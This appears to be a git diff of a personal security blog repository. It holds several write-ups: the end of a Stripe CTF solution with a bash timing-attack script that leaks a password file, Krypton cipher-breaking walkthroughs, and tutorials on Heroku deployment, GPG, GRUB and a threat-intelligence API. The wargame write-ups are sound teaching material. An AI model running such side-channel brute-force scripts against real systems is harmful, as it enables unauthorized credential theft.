The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**).
There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown:
```
#!\bin\bash
for c in {A..Z} {a..z} {0..9}; do
echo $c
head -c35 file & sleep 0.1
/levels/level06 /home/the-flag/.password "$c"A 2> file
done
```
**And we get our flag! Fun! :) **
---
## References
* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up)
* [Stripe CTF Repository](https://github.com/stripe-ctf)
* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/).
* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/).
--------------

View File

@ -1,8 +1,6 @@
# Recon
### Searching the Internets
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
@ -29,6 +27,7 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin```
- [redbot.org](https://redbot.org/)
- [shodan.io](https://www.shodan.io/)
- [censys.io](https://censys.io/)
-----------------
[FireBug]: http://getfirebug.com/
[Burp Suite]: http://portswigger.net/burp/

View File

@ -1,3 +1,9 @@
## Writeups:
# Wargames Writeups
[Narnia 1-5]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
### OverTheWire
[Wargames]: http://overthewire.org/wargames/
* krypton
* narnia
* natas

View File

@ -0,0 +1,318 @@
# Cryptography War: Beating Krypton
The problems are very straightforward and very similar to those from the last [CSAW CTF] ([see my post here]).
**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READ ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time.
[Cryptol]: http://www.cryptol.net/
[Continuing to talk about]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
[Wargames]: http://overthewire.org/wargames/
[Krypton]: http://overthewire.org/wargames/krypton/
[CSAW CTF]: https://ctf.isis.poly.edu/
[see my post here]: http://bt3gl.github.io/csaw-ctf-2014-cryptography-200.html
## Level 0: Base64 Transformation
This level starts with:
> The following string encodes the password using Base64:
S1JZUFRPTklTR1JFQVQ=
> Use this password to log in to krypton.labs.overthewire.org with username krypton1 using SSH. You can the files for other levels in /krypton/.
[Base64] is just a way to represent binary data in ASCII, by translating it into a radix-64. Linux provides a built-in Base64 encoder/decoder tool, so all we need to do is:
```
$ base64 -d KRYPTON0.txt
```
[Base64]: http://en.wikipedia.org/wiki/Base64
----
## Level 1: Classic Caesar Cypher
The second level starts with:
> The password for level 2 is in the file krypton2. It is encrypted using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for ciphertext it is normal to group the letters into five letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the ciphertext. Enjoy!
This is the classic [Caesar Cypher] (they really love this thing :).
In Caesars cipher, the letters in the plaintext are shifted by a fixed number of elements down the alphabet. For example, if the shift is 3, A becomes D , B becomes E , and so on. Once we run out of letters, we circle back to A.
We can solve this challenge in a few lines using Linux's built-in [tr] (translate tool):
```
krypton1@melinda:/krypton/krypton1$ VAR=$(cat krypton2)
krypton1@melinda:/krypton/krypton1$ echo $VAR
YRIRY GJB CNFFJBEQ EBGGRA
krypton1@melinda:/krypton/krypton1$ alias rot13="tr A-Za-z N-ZA-Mn-za-m"
krypton1@melinda:/krypton/krypton1$ echo "$VAR" | rot13
```
[Caesar Cypher]: http://en.wikipedia.org/wiki/Caesar_cipher
[tr]: http://linux.die.net/man/1/tr
-----
## Level 2
The third level starts with:
> ROT13 is a simple substitution cipher.
> Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a 'monoalphabetic' cipher. Monoalphebetic means, literally, "one alphabet" and you will see why.
> This level contains an old form of cipher called a 'Caesar Cipher'.
> A Caesar cipher shifts the alphabet by a set number. For example:
> plain: a b c d e f g h i j k ...
> cipher: G H I J K L M N O P Q ...
> In this example, the letter 'a' in plaintext is replaced by a 'G' in the ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext.
> The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this ciphertext may be challenging to break. You do not have direct access to the key, however, you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy.
First, we make a file filled with the alphabet, so we can test the binary:
```sh
$ ln -s /krypton/krypton2/keyfile.dat keyfile.dat
$ echo {A..Z} {a..z} > file
$ cat file
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
```
Running the binary:
```
$ /krypton/krypton2/encrypt file
$ cat ciphertext
MNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKL
```
We see a ROT14 (since ROT13 starts in N).
As a second way to find the rotation, we could use [ltrace]:
```
$ ltrace /krypton/krypton2/encrypt file | less
```
Which shows things such as:
```
fgetc(0x602250) = 'A'
toupper('A') = 'A'
isalpha(65, 65, 0x7ffff7dd0d00, -1, 0xffffffff) = 1024
fputc('M', 0x602490) = 77
```
Now that we know the rotation number, we can decrypt the password in the same way as we did in the previous level:
```sh
krypton2@melinda:/tmp$ alias rot14="tr A-Z O-ZA-N"
krypton2@melinda:/tmp$ echo "$VAR" | rot14
```
[ltrace]: http://linux.die.net/man/1/ltrace
---
## Level 3: Frequency Analysis
This level starts with:
> Well done. You've moved past an easy substitution cipher.
> Hopefully you just encrypted the alphabet a plaintext to fully expose the key in one swoop.
> The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise, you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker.
> However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file 'krypton4'. You have also found three other files. (found1, found2, found3)
This time we have to use [frequency analysis] to count the number of times each letter appears in our message. The results are compared to the frequency in each we see letters in English. This is enough to break this type of cipher.
For this purpose, I wrote the following script:
```python
import string
import sys
import operator
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004]
def find_frequency(msg):
dict_freq = dict([(c, 0) for c in string.lowercase])
total_letters = 0.0
for c in msg.lower():
if 'a'<= c <= 'z':
dict_freq[c] += 1
total_letters += 1
list_freq = sorted(dict_freq.items(), key=operator.itemgetter(1))
return [(c, freq/total_letters) for (c, freq) in list_freq]
def main(filename):
with open(filename, 'r') as f:
cipher = f.readlines()
cipher = cipher[0].strip()
flist = find_frequency(cipher)
elist = dict((k, value) for (k, value) in zip(string.lowercase, FREQ_ENGLISH))
elist = sorted(elist.items(), key=operator.itemgetter(1))
trans, key = '', ''
for i, f in enumerate(flist):ls
trans += f[0]
key += elist[i][0]
print "CIPHER: %s -> %.5f, ENGLISH: %s -> %.5f" %(f[0], f[1], elist[i][0], elist[i][1])
print "Key is " + key + " for " + trans
# print key sorted to translate to a-z
res = zip(trans, key)
res.sort()
trans, key = '', ''
for letter in res:
trans += letter[1].upper()
key += letter[0].upper()
print "tr [" + key + "] [" + trans + "]"
if __name__ == "__main__":
main(str(sys.argv[1]))
```
Running it gives us the key:
```
$ cat /krypton/krypton3/found1 > cipher
$ cat /krypton/krypton3/found2 >> cipher
$ cat /krypton/krypton3/found3 >> cipher
$ /krypton/krypton3$ python freq.py cipher
$ alias rotvi='tr ABCDEFGHIJKLMNOPQRSTUVWXYZ BOIHPKNQVTWGURXZAJEYSLDFPU'
$ cat /krypton/krypton3/krypton4 | rotvi
```
We could also use [this online tool] to find the frequencies.
[this online tool]: http://www.richkni.co.uk/php/crypta/freq.php
[frequency analysis]: http://en.wikipedia.org/wiki/Frequency_analysis
----
## Level 4: Vigenere Cipher I
The fifth level starts with:
> So far we have worked with simple substitution ciphers. They have also been monoalphabetic, meaning using a fixed key, and giving a one to one mapping of plaintext (P) to ciphertext (C). Another type of substitution cipher is referred to as polyalphabetic, where one character of P may map to many, or all, possible ciphertext characters.
> An example of a polyalphabetic cipher is called a Vigenère Cipher. It works like this:
> If we use the key(K) GOLD, and P = PROCEED MEETING AS AGREED, then “add” P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26).
> P P R O C E E D M E E T I N G A S A G R E E D\
> K G O L D G O L D G O L D G O L D G O L D G O\
> becomes:
> P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3\
> K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14\
> C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17\
> So, we get a ciphertext of:
> VFZFK SOPKS ELTUL VGUCH KR
> This level is a Vigenère Cipher. You have intercepted two longer, english language messages. You also have a key piece of information. You know the key length!
This is a classic case of [Vigenere cipher], which is a variation on Caesars cipher. In this case, one uses multiple shift amounts according to a keyword.
To solve this, we use the [pygenere] library in Python. First, we need to find the key:
```pyhton
import sys
from pygenere import Vigenere, VigCrack
def get_key(msg):
# Vigenere Cypher
key = VigCrack(msg).crack_codeword()
dec_msg = VigCrack(msg).crack_message()
dec_msg = dec_msg.replace(" ", "")
return key, dec_msg
if __name__ == '__main__':
# getting the key
with open('cipher', 'r') as f:
msg = f.readlines()
msg_in = msg[0].strip()
key, answer = get_key(msg_in)
print 'Message: ' + msg_in
print
print 'Answer: ' + answer
print '(key: ' + key + ')'
```
The deciphered text is:
> THESOLDIERWITHTHEGREENWHISKERSLEDTHEMTHROUGHTHESTREETSOFTHEEMERALDCITYUNTILTHEYREACHED
THEROOMWHERETHEGUARDIANOFTHEGATESLIVEDTHISOFFICERUNLOCKEDTHEIRSPECTACLESTOPUTTHEMBACK
INHISGREATBOXANDTHENHEPOLITELYOPENEDTHEGATEFOROURFRIENDSWHICHROADLEADSTOTHEWICKEDWITCHOF
THEWESTASKEDDOROTHYTHEREISNOROADANSWEREDTHEGUARDIANOFTHEGATESNOONEEVERWISHESTOGOTHATWAY
HOWTHENAREWETOFINDHERINQUIREDTHEGIRLTHATWILLBEEASYREPLIEDTHEMANFORWHENSHEKNOWSYOUAREIN
THECOUNTRYOFTHEWINKIESSHEWILLFINDYOUANDMAKEYOUALLHERSLAVESPERHAPSNOTSAIDTHESCARECROWFOR
WEMEANTODESTROYHEROHTHATISDIFFERENTSAIDTHEGUARDIANOFTHEGATESNOONEHASEVERDESTROYEDHER
BEFORESOINATURALLYTHOUGHTSHEWOULDMAKESLAVESOFYOUASSHEHASOFTHERESTBUTTAKECAREFORSHEIS
WICKEDANDFIERCEANDMAYNOTALLOWYOUTODESTROYHERKEEPTOTHEWESTWHERETHESUNSETSANDYOUCANNOT
FAILTOFINDHERTHEYTHANKEDHIMANDBADEHIMGOODBYEANDTURNEDTOWARDTHEWESTWALKINGOVERFIELDS
OFSOFTGRASSDOTTEDHEREANDTHEREWITHDAISIESANDBUTTERCUPSDOROTHYSTILLWORETHEPRETTYSILKDRESS
SHEHADPUTONINTHEPALACEBUTNOWTOHERSURPRISESHEFOUNDITWASNOLONGERGREENBUTPUREWHITETHERIB
BONAROUNDTOTOSNECKHADALSOLOSTITSGREENCOLORANDWASASWHITEASDOROTHYSDRESSTHEEMERALDCITYW
ASSOONLEFTFARBEHINDASTHEYADVANCEDTHEGROUNDBECAMEROUGHERANDHILLIERFORTHEREWERENOFARMSN
ORHOUSESINTHISCOUNTRYOFTHEWESTANDTHEGROUNDWASUNTILLEDINTHEAFTERNOONTHESUNSHONEHOTINTHEI
RFACESFORTHEREWERENOTREESTOOFFERTHEMSHADESOTHATBEFORENIGHTDOROTHYANDTOTOANDTHELIONWER
ETIREDANDLAYDOWNUPONTHEGRASSANDFELLASLEEPWITHTHEWOODMANANDTHESCARECROWKEEPINGWATCH
Finally, we use the key to decipher the password:
```python
def solve(msg, key):
dec_msg = Vigenere(msg).decipher(key)
dec_msg = dec_msg.replace(" ", "")
return dec_msg
if __name__ == '__main__':
# deciphering
key = 'FREKEY'
with open('pass', 'r') as f:
msg = f.readlines()
answer = solve(msg[0].strip(), key)
print "The answer is: " + answer
```
[Vigenere cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.py
----
## Level 5: Vigenere Cipher II
The sixth level starts with:
> Frequency analysis can break a known key length as well. Let's try one last polyalphabetic cipher, but this time the key length is unknown.
This is another example of Vigenere Cipher. Using the same method as before, we first get the key and then the password.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,203 @@
# Deploying a Flask App at Heroku
I was playing with Flask, and I wrote my own [Anti-Social Network](https://anti-social.herokuapp.com/).
Heroku platform is very flexible, and it supports several programming languages. To
deploy an application to Heroku, use Git to push the application to Herokus server.
# Running in a Production Server
Heroku does not provide a web server, but it expects it to start their own servers and listen on the port number set in environment variable PORT. Flask will perform very poorly because it was not designed to run in a production environment. To improve this, you may use a production-ready web server such as Gunicorn.
```
$ pip install gunicorn
```
Now, run your app with:
```
$ gunicorn manage:app
```
Gunicorn uses port 8000 instead of 5000.
# Heroku Setting Up
### Create an account at Heroku.com
If you haven't done it yet, remember: you will be able to keep up to five applications running (you can always delete them if you need).
### Install Git and Heroku Toolbelt
You can find instructions at Heroku.com.
For example, if you are in an AWS EC2 Ubuntu instance, you can use:
```
$ sudo apt-get install -y git-core
$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh
```
You can check if it worked with:
```
$ which git
$ which heroku
```
Now, login at Heroku:
```
$ heroku login
```
## Authorize your Machine at Heroku
### Create and add an SSH Key at Heroku:
```
$ ssh-keygen -t rsa
$ heroku keys:add
```
The public and private keys will be at ```~/.ssh```. I always recommend backup your keys. Never share your private key.
### Creating a Git Repository
Heroku's push/commits work just like Git. But instead of using the "origin" you use "heroku" (you can verify this later at .git/refs/remotes/). In other words, your project's control version (development) is done by using:
```
$ git push origin master (or any branch you like)
```
and the deployment at Heroku (production) is done using:
```
$ git push heroku master (or any branch you like)
```
In the root of your project, go ahead, and create a Git repository, commit, add, push:
```
$ git init
$ git add -A
$ git commit -m "First commit"
$ git push origin master
```
### Creating an App
Now, let's create our app at Heroku:
```
$ heroku create <app-name>
```
You can check all your current applications with:
```
$ heroku apps
```
### Addons and Environment Variables
Now it's time to add the addons and the environment variables to your app at the Heroku server. For the app I mentioned in the beginning, I type:
```
$ heroku addons:add heroku-postgresql:dev
$ heroku pg:promote HEROKU_POSTGRESQL_ONYX_URL
$ heroku config:set MAIL_USERNAME="<login>"
$ heroku config:set MAIL_PASSWORD="<password>"
```
You can always check your configuration with:
```
$ heroku config
```
### Adding Requirements
Heroku needs to know what libraries and packages it needs to install to be able to run your application. For this, create a file requirements.txt in the root of your app, with all the libraries from your environment. One way of doing this is by:
```
$ cat pip freeze >> requirements.txt
```
#### Adding Procfile
Next, Heroku needs to know the command to use to start your app. This is given by a file called Procfile. The content should be:
```
web gunicorn manage:app
```
(if this is how you run your application).
In the Procfile, each line has a task name, a colon, and the command that runs the task. We use web here because Heroku recognizes it as the task that starts the webserver. Heroku gives this task a PORT environment variable, and set it to the port in which the application needs to listen for requests.
### Using Foreman to Emulate Heroku
The Heroku Toolbelt includes Foreman, used to run the app locally through the Procfile for testing purposes. The environment variables set at Heroku must be defined locally. Just create a file var.env with this information:
```
FLASK_CONFIG=heroku
MAIL_USERNAME=<your-username>
MAIL_PASSWORD=<your-password>
```
Foreman run is used to run commands under the environment of the application. Foreman start reads the Procfile and executes the tasks in it:
```
$ foreman run python manage.py deploy
$ foreman start
```
### Configuring Logging
In Heroku, logs are written to stdout or stderr. In my app, I added the logging configuration to a class in my app's ```config.py``` file:
```
class HerokuConfig(ProductionConfig):
@classmethod
def init_app(cls, app):
ProductionConfig.init_app(app)
import logging
from logging import StreamHandler
file_handler = StreamHandler()
file_handler.setLevel(logging.WARNING)
app.logger.addHandler(file_handler)
```
To let Heroku know what configuration it should use, I add this environment variable:
```
$ heroku config:set FLASK_CONFIG=heroku
```
Now if something goes wrong when you deploy, you can always check the log:
```
$ heroku logs
```
### Deploying!
If everything is well-done, it's time to deploy your application. Since you already committed your app before, you just need to push it to Heroku:
```
$ git push heroku master
```
In my app, I have a script for the deployment (such as taking care of database and other setups for production). So, additionally, I run:
```
$ heroku run python manage.py deploy
$ heroku restart
```
That's it! The app should be running at ```< app-name >.herokuapp.com```.
---
Enjoy! This article was originally posted [here](https://coderwall.com/p/pstm1w/deploying-a-flask-app-at-heroku), and it has over 43k views!

View File

@ -0,0 +1,222 @@
# Intro to OpenPGP & GPG
[Pretty Good Privacy](http://en.wikipedia.org/wiki/Pretty_Good_Privacy) (PGP) is a model that provides cryptographic privacy and authentication for data communication. It was created by [Phil Zimmermann](http://en.wikipedia.org/wiki/Phil_Zimmermann) in 1991. Today, PGP is a [company](http://en.wikipedia.org/wiki/PGP_Corporation) that sells a proprietary encryption program, [OpenPGP](http://www.openpgp.org/) is the open protocol that defines how PGP encryption works, and [GnuGP](https://www.gnupg.org/) is the free software.
The distribution of PGP keys can be done using the concept of [web of trust](http://en.wikipedia.org/wiki/Web_of_trust). It is a decentralized way of establishing the authenticity of a public key and its owner. If you want a cute (ludic) picture of the web of trust, check [Cory Doctorow](https://twitter.com/doctorow)'s book [Little Brother](http://craphound.com/littlebrother/).
Almost 15 years after its creation, [PGP continues to be *pretty good*](https://firstlook.org/theintercept/2014/10/28/smuggling-snowden-secrets/). But there is still a [need for new solutions](http://blog.cryptographyengineering.com/2014/08/whats-matter-with-pgp.html) (and they appear to be [coming soon](http://googleonlinesecurity.blogspot.com/2014/06/making-end-to-end-encryption-easier-to.html)). Perhaps the main issue with PGP is its persistence. If one key is compromised, any message from the past can be read. That's where the concept of [perfect forward secrecy ](http://en.wikipedia.org/wiki/Forward_secrecy) comes in play, but this is a subject to another post.
Meanwhile, I wrote this tutorial, and I hope you find it fun. Btw, [this post was first published at CodeWall and it had 1.5k+ views at the time](https://coderwall.com/p/ajtlqa/getting-started-with-pgp-gpg).
### I. Creating GPG keys
Type the following in the terminal:
```sh
$ gpg --gen-key
```
Chose [RSA](http://en.wikipedia.org/wiki/RSA_(cryptosystem)) with 4096 bits long and expiration up to 5 years. Use a [strong passphrase](https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices#passphrase) (keep it safe since it cannot be recovered).
### II. Backup your Private Key
Save it with your soul:
```sh
$ gpg --export-secret-keys --armor YOUR_EMAIL > YOUR_NAME-privkey.asc
```
### III. Sharing your key
There are several ways you can share or publish your public key:
#### By sharing the key's fingerprint
The key's fingerprint is the same as its signature. Each PGP key has a unique fingerprint that allows you to confirm to others that they have received your actual public key without tampering. A fingerprint is a more convenient way to represent a key uniquely.
To check the fingerprint of any key that you have in your keyring, type:
```sh
$ gpg --fingerprint EMAIL
```
#### By sending the ASCII file
You can copy your key to a file to be shared:
```sh
$ gpg --export --armor YOUR_EMAIL > YOUR_NAME-pubkey.asc
```
#### By publishing it in a public key server
You can export your key to the [GnuPG public key server](keys.gnupg.net). For this, use your key's name (the hexadecimal number in front of the key):
```sh
$ gpg --send-key KEY_NAME
```
You can also export it to [pgp.mit.edu](pgp.mit.edu):
```sh
$ gpg --keyserver hkp://pgp.mit.edu --send-key KEY_NAME
```
### V. Importing Someone's Key
There are many ways you can import someone's public key:
#### By a shared file
If you have the ASCII file, you can type:
```sh
$ gpg --import PUBKEY_FILE
```
#### By Public Key Server
To search for someone's key in the public key server, type:
```sh
$ gpg --search-keys NAME
```
Note: this is **not** very safe since you can't be sure of the key's authenticity.
### V. Signing a key: The Web of Trust
Signing a key tells your software that you trust the key that you have been provided (you have verified that it is associated with the person in question).
To sign a key type:
```sh
$ gpg --sign-key PERSON_EMAIL
```
You should allow the person whose key you are signing to enjoy the advantages of your trusted relationship, done by sending her back the signed key:
```sh
$ gpg --export --armor PERSON_EMAIL
```
When you received a similar *trusted* key, you can import it into your GPG database:
```sh
$ gpg --import FILENAME
```
### VI. Other Useful Commands
#### To delete a key from your keyring:
```sh
$ gpg --delete-key-name KEY_NAME
```
#### To edit a key (for example, the expiration date):
```sh
$ gpg --edit KEY_NAME
```
#### If you have more than one key:
Edit ```~/.gnupg/gpg.conf``` with your favorite key:
```
default-key KEY_NAME
```
#### Keep your keys fresh:
```sh
$ gpg --refresh-keys
```
#### To list your keys:
```sh
$ gpg --list-keys
```
#### And of course:
```sh
$ man gpg
```
### VII. Encrypting and Decrypting Messages
With someone's **public key**, you can **encrypt** messages that can only be decrypted with her secret key. You can also **verify signatures** that was generated with her secret key.
On the other hand, with your secret key, you can **decrypt** messages that were encrypted using your public key. You can also and **sign messages**.
With GPG, you encrypt messages using the ```--encrypt``` flag.
The command below encrypts the message signing with your private key (to guarantee that is coming from you). It also generates the message in a text format, instead of raw bytes:
```sh
$ gpg --encrypt --sign --armor -r PERSON_EMAIL FILE_TO_BE_ENCRYPTED
```
If you want to be able to read this message with your own email address, you should add another recipient flag ```-r``` with your email address.
To decrypt a message, type:
```sh
$ gpg FILENAME
```
### VIII. Revoking a key
Whenever you need to revoke a key (because it might be compromised, for example), you can generate a revocation certificate with:
```sh
$ gpg --output my_revocation.asc --gen-revoke KEY_NAME
```
To import the revocation into your keyring:
```sh
$ gpg --import my_revocation.asc
```
Finally, this command sends the revoked key to the public key server:
```sh
$ gpg --keyserver pgp.mit.edu --send-keys KEY_NAME
```
----
## Final Comments
If you prefer a GUI instead of the command line, I strongly recommend [seahorse](https://apps.fedoraproject.org/packages/seahorse/bugs). It makes it really easy to manage all your keys (not only OpenPGP) and passwords.
Another nice (alpha) project is [keybase.io](https://keybase.io/). It's a web of trust social network, where you can sign your key with your public profiles. Check [mine here](https://keybase.io/bt3). Encryption and decryption can be done in the command line with their [node.js](https://keybase.io/docs/command_line) application. I don't trust uploading my private key anywhere, but I do think that the idea is better than a simple public key server.
Finally, a word about browser plugins: although there are several of them to encrypt webmail with OpenPGP, such as [mymail-crypt](https://chrome.google.com/webstore/detail/mymail-crypt-for-gmail/jcaobjhdnlpmopmjhijplpjhlplfkhba?hl=en-US) or [Mailvelope](https://www.mailvelope.com/), I particularly don't recommend this solution if your message is very sensitive.
If you are serious about ensuring your long-term privacy, the safest way to go is to use a text editor to write your email message, encrypting the message outside of the web browser, and then cutting and pasting into your webmail interface. This will guarantee that only the recipient will be able to read your email.
If you really need something in your browser, the creator of [Cryptocat](https://crypto.cat/) recently released [minilock](https://minilock.io/). This tool uses [Curve25519 elliptic curve cryptography](http://en.wikipedia.org/wiki/Curve25519) (the same as in Cryptocat) so that the public keys are much shorter (and easier to share). Remember, it's a new app, so it might not yet be the best choice for the high-stakes environment (but it's worth keeping tabs on this project).
---
## Further Readings
- [The GNU Privacy Handbook](https://www.gnupg.org/gph/en/manual.html)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,37 @@
# Grub Configuration
## Understanding MBR and EFI
BIOS/MBR is an older partition table type also referred to as Legacy mode. Nowadays, UEFI is in most of the new computer (especially those that came with W8 or W8.1 pre-installed). UEFI always use the gpt partition table type.
To find out each one your computer uses, you can boot into your computers Bios/firmware. Besides, to see if it is UEFI:
```
$ efibootmgr
```
In a UEFI install, the ```grub.cfg``` file belongs in ```/boot/efi/EFI/fedora/grub.cfg```. In a msdos/MBR install, ```grub.cfg``` belongs in ```/boot/grub2/grub.cfg```.
Extra: to see your partitions, you can type:
```
$ gdisk -l /dev/sda
```
## Modifying Grub Options
Edit ```/etc/default/grub```. For example, setting:
```
GRUB_DEFAULT="0"
```
After that, type the ```grub2-mkconfig``` command. In a MBR boot:
```
$ grub2-mkconfig -o /boot/grub2/grub.cfg
```
In an EFI boot:
```
$ grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg
```

View File

@ -0,0 +1,740 @@
# Introducing Threat Intel
[Threat Intel](https://github.com/Yelp/threat_intel) is a set of Threat Intelligence APIs that can be used by security developers and analysts for incident response. Additionally, it contains wrappers for:
* OpenDNS Investigate API
* VirusTotal API v2.0
* ShadowServer API
----
### OpenDNS Investigate API
[OpenDNS Investigate](https://investigate.opendns.com/) provides an API that
allows querying for:
* Domain categorization
* Security information about a domain
* Co-occurrences for a domain
* Related domains for a domain
* Domains related to an IP
* Domain tagging dates for a domain
* DNS RR history for a domain
* WHOIS information
- WHOIS information for an email
- WHOIS information for a nameserver
- Historical WHOIS information for a domain
* Latest malicious domains for an IP
To use the Investigate API wrapper import `InvestigateApi` class from `threat_intel.opendns` module:
```python
from threat_intel.opendns import InvestigateApi
```
To initialize the API wrapper, you need the API key:
```python
investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>")
```
You can also specify a file name where the API responses will be cached in a JSON file,
to save you the bandwidth for the multiple calls about the same domains or IPs:
```python
investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>", cache_file_name="/tmp/cache.opendns.json")
```
#### Domain categorization
Calls `domains/categorization/?showLabels` Investigate API endpoint.
It takes a list (or any other Python enumerable) of domains and returns
the categories associated with these domains by OpenDNS along with a [-1, 0, 1] score, where -1 is a malicious status.
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
investigate.categorization(domains)
```
will result in:
```
{
"baidu.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []},
"google.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []},
"bibikun.ru": {"status": -1, "content_categories": [], "security_categories": ["Malware"]}
}
```
#### Security information about a domain
Calls `security/name/` Investigate API endpoint.
It takes any Python enumerable with domains, e.g., list, and returns several security parameters
associated with each domain.
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
investigate.security(domains)
```
will result in:
```
{
"baidu.com": {
"found": true,
"handlings": {
"domaintagging": 0.00032008666962131285,
"blocked": 0.00018876906157154347,
"whitelisted": 0.00019697641207465407,
"expired": 2.462205150933176e-05,
"normal": 0.9992695458052232
},
"dga_score": 0,
"rip_score": 0,
..
}
}
```
#### Co-occurrences for a domain
Calls `recommendations/name/` Investigate API endpoint.
Use this method to find out a list of co-occurrence domains (domains that are being accessed by the same users within a small window of time) to the one given in a list, or any other Python enumerable.
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
investigate.cooccurrences(domains)
```
will result in:
```
{
"baidu.com": {
"found": true,
"pfs2": [
["www.howtoforge.de", 0.14108563836506008],
}
..
}
```
#### Related domains for a domain
Calls `links/name/` Investigate API endpoint.
Use this method to find out a list of related domains (domains that have been frequently seen requested around a time window of 60 seconds, but that are not associated with the given domain) to the one given in a list, or any other Python enumerable.
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
investigate.related_domains(domains)
```
will result in:
```
{
"tb1": [
["t.co", 11.0],
]
..
}
```
#### Domain tagging dates for a domain
Calls `domains/name/` Investigate API endpoint.
Use this method to get the date range when the domain being queried was a part of the OpenDNS block list and how long a domain has been in this list
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
investigate.domain_tag(domains)
```
will result in:
```
{
'category': u'Malware',
'url': None,
'period': {
'begin': u'2013-09-16',
'end': u'Current'
}
..
}
```
#### DNS RR history for a Domain
Calls `dnsdb/name/a/` Investigate API endpoint.
Use this method to find out related domains to domains given in a list, or any other Python enumerable.
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
investigate.dns_rr(domains)
```
will result in:
```
{
'features': {
'geo_distance_mean': 0.0,
'locations': [
{
'lat': 59.89440155029297,
'lon': 30.26420021057129
}
],
'rips': 1,
'is_subdomain': False,
'ttls_mean': 86400.0,
'non_routable': False,
}
..
}
```
#### DNS RR history for an IP
Calls `dnsdb/ip/a/` Investigate API endpoint.
Use this method to find out related domains to the IP addresses given in a list, or any other Python enumerable.
```python
ips = ['8.8.8.8']
investigate.rr_history(ips)
```
will result in:
```
{
"8.8.8.8": {
"rrs": [
{
"name": "8.8.8.8",
"type": "A",
"class": "IN",
"rr": "000189.com.",
"ttl": 3600
},
{
"name": "8.8.8.8",
"type": "A",
"class": "IN",
"rr": "008.no-ip.net.",
"ttl": 60
},
}
..
}
```
#### WHOIS information for a domain
##### WHOIS information for an email
Calls `whois/emails/{email}` Investigate API endpoint.
Use this method to see WHOIS information for the email address. (For now, the OpenDNS API will only return at most 500 results)
```python
emails = ["dns-admin@google.com"]
investigate.whois_emails(emails)
```
will result in:
```
{
"dns-admin@google.com": {
"totalResults": 500,
"moreDataAvailable": true,
"limit": 500,
"domains": [
{
"domain": "0emm.com",
"current": true
},
..
]
}
}
```
##### WHOIS information for a nameserver
Calls `whois/nameservers/{nameserver}` Investigate API endpoint.
Use this method to see WHOIS information for the nameserver. (For now, the OpenDNS API will only return at most 500 results)
```python
nameservers = ["ns2.google.com"]
investigate.whois_nameservers(nameservers)
```
will result in:
```
{
"ns2.google.com": {
"totalResults": 500,
"moreDataAvailable": true,
"limit": 500,
"domains": [
{
"domain": "46645.biz",
"current": true
},
..
]
}
}
```
##### WHOIS information for a domain
Calls `whois/{domain}` Investigate API endpoint.
Use this method to see WHOIS information for the domain.
```python
domains = ["google.com"]
investigate.whois_domains(domains)
```
will result in:
```
{
"administrativeContactFax": null,
"whoisServers": null,
"addresses": [
